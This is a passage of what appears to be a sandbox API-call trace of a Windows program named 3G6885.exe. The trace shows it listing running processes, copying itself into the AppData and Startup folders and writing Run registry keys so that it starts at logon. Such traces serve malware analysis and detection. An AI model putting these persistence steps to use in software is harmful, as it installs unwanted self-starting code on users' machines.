lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0128.699] lstrlenW (lpString="dwm.exe") returned 7 [0128.699] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0128.699] lstrlenW (lpString="explorer.exe") returned 12 [0128.699] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0128.699] lstrlenW (lpString="3G6885.exe") returned 10 [0128.699] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0128.700] lstrlenW (lpString="reader_sl.exe") returned 13 [0128.700] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 1 [0128.700] lstrlenW (lpString="AdobeARM.exe") returned 12 [0128.700] Process32NextW (in: hSnapshot=0xe0, lppe=0x18fb7c | out: lppe=0x18fb7c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="AdobeARM.exe")) returned 0 [0128.700] CloseHandle (hObject=0xe0) returned 1 [0128.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3353d8 | out: hHeap=0x300000) returned 1 [0128.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335420 | out: hHeap=0x300000) returned 1 [0128.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335468 | out: hHeap=0x300000) returned 1 [0128.700] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335488 | out: hHeap=0x300000) returned 1 [0128.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3354d0 | out: hHeap=0x300000) returned 1 [0128.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x334b98 | out: hHeap=0x300000) returned 1 [0128.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314888 | out: hHeap=0x300000) returned 1 [0128.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3148c0 | out: hHeap=0x300000) returned 1 [0128.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3144b8 | out: hHeap=0x300000) returned 1 [0128.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3144e0 | out: hHeap=0x300000) returned 1 [0128.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314908 | out: hHeap=0x300000) returned 1 [0128.701] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x314508 | out: hHeap=0x300000) returned 1 [0128.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x33ae80 [0128.701] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x34ae88 [0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.702] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x314508 [0128.702] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x314508, Size=0x40) returned 0x336b18 [0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.702] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x314508 [0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.702] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x3144e0 [0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.702] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x3144b8 [0128.702] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144b8, Size=0x40) returned 0x336b60 [0128.702] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x34ae88, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe")) returned 0x47 [0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x35ae90 [0128.702] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x36ae98 [0128.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.703] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x3144b8 [0128.703] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3144b8, Size=0x40) returned 0x336ba8 [0128.703] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336ba8, Size=0x80) returned 0x3353d8 [0128.703] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3353d8, Size=0x100) returned 0x337d20 [0128.703] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0128.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337d20 | out: hHeap=0x300000) returned 1 [0128.703] ExpandEnvironmentStringsW (in: lpSrc="%windir%\\System32\\3G6885.exe", lpDst=0x35ae90, nSize=0x7fff | out: lpDst="C:\\Windows\\System32\\3G6885.exe") returned 0x1f [0128.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x36ae98 | out: hHeap=0x300000) returned 1 [0128.703] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ae90 | out: hHeap=0x300000) returned 1 [0128.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x2100020 [0128.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.703] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x3144b8 [0128.703] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.703] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x335aa0 [0128.703] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0128.703] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0128.703] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x0) returned 1 [0128.704] lstrlenW (lpString="kernel32.dll") returned 12 [0128.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3144b8 | out: hHeap=0x300000) returned 1 [0128.704] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.704] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0128.704] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0128.704] CreateFileW (lpFileName="C:\\Windows\\System32\\3G6885.exe" (normalized: "c:\\windows\\system32\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0128.704] CloseHandle (hObject=0xe0) returned 1 [0128.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.705] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x335aa0 [0128.705] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.705] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x335a50 [0128.705] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0128.705] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0128.705] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0128.705] lstrlenW (lpString="kernel32.dll") returned 12 [0128.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335a50 | out: hHeap=0x300000) returned 1 [0128.706] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0128.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x300000) returned 1 [0128.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x35ae90 [0128.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x36ae98 [0128.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.706] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x335aa0 [0128.706] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335aa0, Size=0x40) returned 0x336ba8 [0128.706] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336ba8, Size=0x80) returned 0x37aeb8 [0128.706] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x337d20 [0128.706] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0128.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337d20 | out: hHeap=0x300000) returned 1 [0128.706] ExpandEnvironmentStringsW (in: lpSrc="%appdata%\\3G6885.exe", lpDst=0x35ae90, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\3G6885.exe") returned 0x39 [0128.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x36ae98 | out: hHeap=0x300000) returned 1 [0128.706] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ae90 | out: hHeap=0x300000) returned 1 [0128.706] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x2100020 [0128.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.707] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x335aa0 [0128.707] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0128.707] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x335a50 [0128.707] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0128.707] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0128.707] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0128.707] lstrlenW (lpString="kernel32.dll") returned 12 [0128.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0128.707] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0128.707] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335a50 | out: hHeap=0x300000) returned 1 [0128.707] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe0 [0128.707] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0128.709] ReadFile (in: hFile=0xe0, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0129.168] WriteFile (in: hFile=0xe4, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0129.170] ReadFile (in: hFile=0xe0, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0129.171] CloseHandle (hObject=0xe4) returned 1 [0129.171] CloseHandle (hObject=0xe0) returned 1 [0129.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0129.171] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x335a50 [0129.171] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0129.171] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x335aa0 [0129.171] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0129.171] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0129.172] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0129.172] lstrlenW (lpString="kernel32.dll") returned 12 [0129.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0129.172] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0129.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335a50 | out: hHeap=0x300000) returned 1 [0129.172] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x300000) returned 1 [0129.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334b98 [0129.177] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334b98, Size=0x20) returned 0x335a50 [0129.177] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335a50, Size=0x40) returned 0x336ba8 [0129.177] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336ba8, Size=0x80) returned 0x37aeb8 [0129.177] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\3G6885.exe") returned 56 [0129.177] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0129.177] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x5c) returned 0x3353d8 [0129.177] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe0) returned 0x0 [0129.177] RegSetValueExW (hKey=0xe0, lpValueName="3G6885.exe", Reserved=0x0, dwType=0x1, lpData=0x33ae80, cbData=0x70) returned 0x5 [0129.177] RegCloseKey (hKey=0xe0) returned 0x0 [0129.177] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3353d8 | out: hHeap=0x300000) returned 1 [0129.178] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\3G6885.exe") returned 56 [0129.178] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0129.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x5c) returned 0x3353d8 [0129.178] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Run", ulOptions=0x0, samDesired=0x20106, phkResult=0x18fd6c | out: phkResult=0x18fd6c*=0xe4) returned 0x0 [0129.178] RegSetValueExW (in: hKey=0xe4, lpValueName="3G6885.exe", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\3G6885.exe", cbData=0x70 | out: lpData="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\3G6885.exe") returned 0x0 [0129.178] RegCloseKey (hKey=0xe4) returned 0x0 [0129.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3353d8 | out: hHeap=0x300000) returned 1 [0129.178] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Run") returned 45 [0129.178] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37aeb8 | out: hHeap=0x300000) returned 1 [0129.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x35ae90 [0129.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x36ae98 [0129.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.178] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335a50 [0129.178] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335a50, Size=0x40) returned 0x336ba8 [0129.178] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336ba8, Size=0x80) returned 0x37aeb8 [0129.178] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x337d20 [0129.178] lstrlenW (lpString="") returned 0 [0129.178] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0129.178] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8c) returned 0x337e28 [0129.178] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0129.179] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x36ae98, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x0, lpData=0x36ae98*=0x53, lpcbData=0x18fd50*=0x7fff) returned 0x2 [0129.179] RegCloseKey (hKey=0xe4) returned 0x0 [0129.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337e28 | out: hHeap=0x300000) returned 1 [0129.179] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0129.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8c) returned 0x337e28 [0129.179] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0129.179] RegQueryValueExW (in: hKey=0xe4, lpValueName="Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x36ae98, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x98) returned 0x0 [0129.179] RegCloseKey (hKey=0xe4) returned 0x0 [0129.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337e28 | out: hHeap=0x300000) returned 1 [0129.179] lstrlenW (lpString="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 75 [0129.179] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0129.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337d20 | out: hHeap=0x300000) returned 1 [0129.179] ExpandEnvironmentStringsW (in: lpSrc="%USERPROFILE%\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe", lpDst=0x35ae90, nSize=0x7fff | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe") returned 0x67 [0129.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x36ae98 | out: hHeap=0x300000) returned 1 [0129.179] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ae90 | out: hHeap=0x300000) returned 1 [0129.179] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x2100020 [0129.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.180] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335a50 [0129.180] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.180] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335aa0 [0129.180] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0129.180] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0129.180] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0129.180] lstrlenW (lpString="kernel32.dll") returned 12 [0129.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335a50 | out: hHeap=0x300000) returned 1 [0129.180] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0129.180] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0129.180] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0129.181] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\3G6885.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\3g6885.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0129.181] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0129.360] WriteFile (in: hFile=0xe8, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0129.363] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0129.363] CloseHandle (hObject=0xe8) returned 1 [0129.363] CloseHandle (hObject=0xe4) returned 1 [0129.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.363] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335aa0 [0129.363] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.364] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335a50 [0129.364] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0129.364] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0129.364] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0129.364] lstrlenW (lpString="kernel32.dll") returned 12 [0129.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335a50 | out: hHeap=0x300000) returned 1 [0129.364] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0129.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x335aa0 | out: hHeap=0x300000) returned 1 [0129.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x300000) returned 1 [0129.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x35ae90 [0129.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x36ae98 [0129.371] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x334bc8 [0129.371] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x334bc8, Size=0x20) returned 0x335aa0 [0129.371] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x335aa0, Size=0x40) returned 0x336ba8 [0129.372] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x336ba8, Size=0x80) returned 0x37aeb8 [0129.372] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x37aeb8, Size=0x100) returned 0x337d20 [0129.372] lstrlenW (lpString="") returned 0 [0129.372] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0129.372] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8c) returned 0x337e28 [0129.372] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0129.372] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x36ae98, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0129.372] RegCloseKey (hKey=0xe4) returned 0x0 [0129.372] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x337e28 | out: hHeap=0x300000) returned 1 [0129.372] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start 